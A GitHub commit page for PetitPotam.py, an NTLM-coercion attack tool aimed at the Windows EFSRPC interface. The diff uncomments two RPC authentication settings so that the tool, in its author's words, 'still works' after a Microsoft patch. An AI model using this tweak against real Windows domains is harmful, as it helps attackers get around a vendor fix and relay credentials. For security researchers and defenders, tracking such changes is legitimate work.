Skip to content

Commit

Permalink
Uncomment lines to make petitpotam still works after MSFT patch of an…
Browse files Browse the repository at this point in the history
… EFRSPC RCE
  • Loading branch information
topotam authored Jan 28, 2022
1 parent d510563 commit c3accf0
Showing 1 changed file with 2 additions and 2 deletions.
4 changes: 2 additions & 2 deletions PetitPotam.py
Original file line number Diff line number Diff line change
Expand Up @@ -350,8 +350,8 @@ def connect(self, username, password, domain, lmhash, nthash, target, pipe, doKe
rpctransport.setRemoteHost(targetIp)

dce = rpctransport.get_dce_rpc()
#dce.set_auth_type(RPC_C_AUTHN_WINNT)
#dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
print("[-] Connecting to %s" % binding_params[pipe]['stringBinding'])
try:
dce.connect()
Expand Down

0 comments on commit c3accf0

Please sign in to comment.